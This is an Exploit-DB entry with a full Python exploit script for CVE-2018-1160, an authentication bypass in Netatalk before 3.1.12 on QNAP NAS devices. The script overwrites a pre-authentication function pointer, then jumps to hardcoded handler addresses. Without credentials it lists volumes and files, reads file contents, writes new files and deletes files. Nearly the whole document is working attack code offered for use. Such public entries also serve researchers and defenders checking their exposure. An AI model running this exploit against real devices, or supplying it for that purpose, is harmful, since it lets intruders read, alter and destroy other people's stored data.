标题: QNAP Netatalk < 3.1.12 - Authentication Bypass EDB-ID: 46675 CVE: 2018-1160 类型: REMOTE 平台: MULTIPLE 发布日期: 2019-04-08 漏洞利用脚本: ##
# Exploit Title: QNAP Netatalk Authentication Bypass
# Date: 12/20/2018
# Original Exploit Author: Jacob Baines
# Modifications for QNAP devices: Mati Aharoni
# Vendor Homepage: http://netatalk.sourceforge.net/
# Software Link: https://sourceforge.net/projects/netatalk/files/
# Version: Before 3.1.12
# CVE : CVE-2018-1160
# Advisory: https://www.tenable.com/security/research/tra-2018-48
# Tested on latest firmware as of Feb 1st 2019:  
# QNAP TS-X85U (TS-X85U_20181228-4.3.6.0805)
# QNAP TS-X73U (TS-X73U_20181228-4.3.6.0805)
# QNAP TS-X77U (TS-X77U_20181228-4.3.6.0805)
# QNAP TS-X88  (TS-X88_20190119-4.4.0.0820)
##
import argparse
import socket
import struct
import sys

# Known addresses:
# This exploit was written against a Netatalk compiled for a
# QNAP TS-1273-RP and possibly works on other models. 
# The addresses below may need be changed for different QNAP targets.

preauth_switch_base = '\x80\xf5\x64\x00\x00\x00\x00\x00' # 0x64f580
afp_getsrvrparms = '\xd3\xa3\x43\x00\x00\x00\x00\x00' # 0x43a3d3
afp_openvol = '\xc2\xab\x43\x00\x00\x00\x00\x00'  # 0x43abc2
afp_enumerate_ext2 = '\x49\xf8\x41\x00\x00\x00\x00\x00' # 0x41f849
afp_openfork = '\xa3\xa5\x42\x00\x00\x00\x00\x00' # 0x42a5a3
afp_read_ext = '\x4b\xc1\x42\x00\x00\x00\x00\x00' # 0x42c14b
afp_createfile = '\x10\x40\x42\x00\x00\x00\x00\x00' # 0x424010
afp_write_ext = '\x9f\xd1\x42\x00\x00\x00\x00\x00' # 0x42d19f
afp_delete = '\x1e\x93\x42\x00\x00\x00\x00\x00' # 0x42931e

##
# This is the actual exploit. Overwrites the commands pointer
# with the base of the preauth_switch
##
def do_exploit(sock):
 print "[+] Sending exploit to overwrite preauth_switch data."
 data = '\x00\x04\x00\x01\x00\x00\x00\x00'
 data += '\x00\x00\x00\x1a\x00\x00\x00\x00'
 data += '\x01' # attnquant in open sess
 data += '\x18' # attnquant size
 data += '\xad\xaa\xaa\xba' # overwrites attn_quantum (on purpose)
 data += '\xef\xbe\xad\xde' # overwrites datasize
 data += '\xfe\xca\x1d\xc0' # overwrites server_quantum 
 data += '\xce\xfa\xed\xfe' # overwrites the server id and client id
 data += preauth_switch_base # overwrite the commands ptr
 sock.sendall(data)

 # don't really care about the respone
 resp = sock.recv(1024)
 return


##
# Sends a request to the server.
#
# @param socket the socket we are writing on
# @param request_id two bytes. requests are tracked through the session
# @param address the address that we want to jump to
# @param param_string the params that the address will need
##
def send_request(socket, request_id, address, param_string):
    data = '\x00' # flags
    data += '\x02' # command
    data += request_id
    data += '\x00\x00\x00\x00' # data offset
    data += '\x00\x00\x00\x90' # cmd length <=== always the same
    data += '\x00\x00\x00\x00' # reserved
    # ==== below gets copied into dsi->cmd =====
    data += '\x11' # use the 25th entry in the pre_auth table. We'll write the function to execute there
    data += '\x00' # pad
    if (param_string == False):
        data += ("\x00" * 134)
    else:
        data += param_string
        data += ("\x00" * (134 - len(param_string)))

    data += address # we'll jump to this address

    sock.sendall(data)
    return

##
# Parses the DSI header. If we don't get the expected request id
# then we bail out.
##
def parse_dsi(payload, expected_req_id):
 (flags, command, req_id, error_code, length, reserved) = struct.unpack_from('>BBHIII', payload)
 if command != 8:
  if flags != 1 or command != 2 or req_id != expected_req_id:
   print '[-] Bad DSI Header: %u %u %u' % (flags, command, req_id)
   sys.exit(0)

  if error_code != 0 and error_code != 4294962287:
   print '[-] The server responded to with an error code: ' + str(error_code)
   sys.exit(0)

 afp_data = payload[16:]
 if len(afp_data) != length:
  if command != 8:
   print '[-] Invalid length in DSI header: ' + str(length) + ' vs. ' + str(len(payload))
   sys.exit(0)
  else:
   afp_data = afp_data[length:]
   afp_data = parse_dsi(afp_data, expected_req_id)

 return afp_data

##
# List all the volumes on the remote server
##
def list_volumes(sock):
 print "[+] Listing volumes"
 send_request(sock, "\x00\x01", afp_getsrvrparms, "")
 resp = sock.recv(1024)

 afp_data = parse_dsi(resp, 1)
 (server_time, volumes) = struct.unpack_from('>IB', afp_data)
 print "[+] " + str(volumes) + " volumes are available:"

 afp_data = afp_data[5:]
 for i in range(volumes):
  string_length = struct.unpack_from('>h', afp_data)
  name = afp_data[2 : 2 + string_length[0]]
  print "\t-> " + name
  afp_data = afp_data[2 + string_length[0]:]

 return

##
# Open a volume on the remote server
##
def open_volume(sock, request, params):
 send_request(sock, request, afp_openvol, params)
 resp = sock.recv(1024)

 afp_data = parse_dsi(resp, 1)
 (bitmap, vid) = struct.unpack_from('>HH', afp_data)
 return vid

##
# List the contents of a specific volume
##
def list_volume_content(sock, name):
 print "[+] Listing files in volume " + name

 # open the volume
 length = struct.pack("b", len(name))
 vid = open_volume(sock, "\x00\x01", "\x00\x20" + length + name)
 print "[+] Volume ID is " + str(vid)

 # enumerate
 packed_vid = struct.pack(">h", vid)
 send_request(sock, "\x00\x02", afp_enumerate_ext2, packed_vid + "\x00\x00\x00\x02\x01\x40\x01\x40\x07\xff\x00\x00\x00\x01\x7f\xff\xff\xff\x02\x00\x00\x00")
 resp = sock.recv(1024)

 afp_data = parse_dsi(resp, 2)
 (f_bitmap, d_bitmap, req_count) = struct.unpack_from('>HHH', afp_data)
 afp_data = afp_data[6:]

 print "[+] Files (%u):" % req_count
 for i in range(req_count):
  (length, is_dir, pad, something, file_id, name_length) = struct.unpack_from('>HBBHIB', afp_data)
  name = afp_data[11:11+name_length]
  if is_dir:
   print "\t[%u] %s/" % (file_id, name)
  else:
   print "\t[%u] %s" % (file_id, name)
  afp_data = afp_data[length:]

##
# Read the contents of a specific file.
##
def cat_file(sock, vol_name, file_name):
 print "[+] Cat file %s in volume %s" % (file_name, vol_name)

 # open the volume
 vol_length = struct.pack("b", len(vol_name))
 vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)
 print "[+] Volume ID is " + str(vid)

 # open fork
 packed_vid = struct.pack(">h", vid)
 file_length = struct.pack("b", len(file_name))
 send_request(sock, "\x00\x02", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name)
 resp = sock.recv(1024)

 afp_data = parse_dsi(resp, 2)
 (f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data)
 print "[+] Fork ID: %s" % (fork_id)

 # read file
 packed_fork = struct.pack(">h", fork_id)
 send_request(sock, "\x00\x03", afp_read_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x00\x00\x03\x00")
 resp = sock.recv(1024)

 afp_data = parse_dsi(resp, 3)
 print "[+] File contents:"
 print afp_data

##
# Create a file on the remote volume
## 
def write_file(sock, vol_name, file_name, data):
 print "[+] Writing to %s in volume %s" % (file_name, vol_name)

 # open the volume
 vol_length = struct.pack("B", len(vol_name))
 vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)
 print "[+] Volume ID is " + str(vid)

 # create the file
 packed_vid = struct.pack(">H", vid)
 file_length = struct.pack("B", len(file_name))
 send_request(sock, "\x00\x02", afp_createfile, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name);
 resp = sock.recv(1024)
 afp_data = parse_dsi(resp, 2)

 if len(afp_data) != 0:
  sock.recv(1024)

 # open fork
 packed_vid = struct.pack(">H", vid)
 file_length = struct.pack("B", len(file_name))
 send_request(sock, "\x00\x03", afp_openfork, packed_vid + "\x00\x00\x00\x02\x00\x00\x00\x03\x02" + file_length + file_name)
 resp = sock.recv(1024)

 afp_data = parse_dsi(resp, 3)
 (f_bitmap, fork_id) = struct.unpack_from('>HH', afp_data)
 print "[+] Fork ID: %s" % (fork_id)

 # write
 packed_fork = struct.pack(">H", fork_id)
 data_length = struct.pack(">Q", len(data))
 send_request(sock, "\x00\x04", afp_write_ext, packed_fork + "\x00\x00\x00\x00" + "\x00\x00\x00\x00" + data_length + data)
 #resp = sock.recv(1024)

 sock.send(data + ("\x0a"*(144 - len(data))))
 resp = sock.recv(1024)
 afp_data = parse_dsi(resp, 4)
 print "[+] Fin"

##
# Delete a file on the remote volume
##
def delete_file(sock, vol_name, file_name):
 print "[+] Deleting %s from volume %s" % (file_name, vol_name)

 # open the volume
 vol_length = struct.pack("B", len(vol_name))
 vid = open_volume(sock, "\x00\x01", "\x00\x20" + vol_length + vol_name)
 print "[+] Volume ID is " + str(vid)

 # delete the file
 packed_vid = struct.pack(">H", vid)
 file_length = struct.pack("B", len(file_name))
 send_request(sock, "\x00\x02", afp_delete, packed_vid + "\x00\x00\x00\x02\x02" + file_length + file_name);
 resp = sock.recv(1024)
 afp_data = parse_dsi(resp, 2)

 print "[+] Fin"

##
##
## Main
##
##

top_parser = argparse.ArgumentParser(description='I\'m a little pea. I love the sky and the trees.')
top_parser.add_argument('-i', '--ip', action="store", dest="ip", required=True, help="The IPv4 address to connect to")
top_parser.add_argument('-p', '--port', action="store", dest="port", type=int, help="The port to connect to", default="548")
top_parser.add_argument('-lv', '--list-volumes', action="store_true", dest="lv", help="List the volumes on the remote target.")
top_parser.add_argument('-lvc', '--list-volume-content', action="store_true", dest="lvc", help="List the content of a volume.")
top_parser.add_argument('-c', '--cat', action="store_true", dest="cat", help="Dump contents of a file.")
top_parser.add_argument('-w', '--write', action="store_true", dest="write", help="Write to a new file.")
top_parser.add_argument('-f', '--file', action="store", dest="file", help="The file to operate on")
top_parser.add_argument('-v', '--volume', action="store", dest="volume", help="The volume to operate on")
top_parser.add_argument('-d', '--data', action="store", dest="data", help="The data to write to the file")
top_parser.add_argument('-df', '--delete-file', action="store_true", dest="delete_file", help="Delete a file")
args = top_parser.parse_args()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
sock.connect((args.ip, args.port))
print "[+] Connected!"

do_exploit(sock)
if args.lv:
 list_volumes(sock)
elif args.lvc and args.volume != None:
 list_volume_content(sock, args.volume)
elif args.cat and args.file != None and args.volume != None:
 cat_file(sock, args.volume, args.file)
elif args.write and args.volume != None and args.file != None and args.data != None:
 if len(args.data) > 144:
  print "This implementation has a max file writing size of 144"
  sys.exit(0)
 write_file(sock, args.volume, args.file, args.data)
elif args.delete_file and args.volume != None and args.file != None:
 delete_file(sock, args.volume, args.file)
else:
 print("Bad args")

sock.close() URL: https://www.exploit-db.com/exploits/46675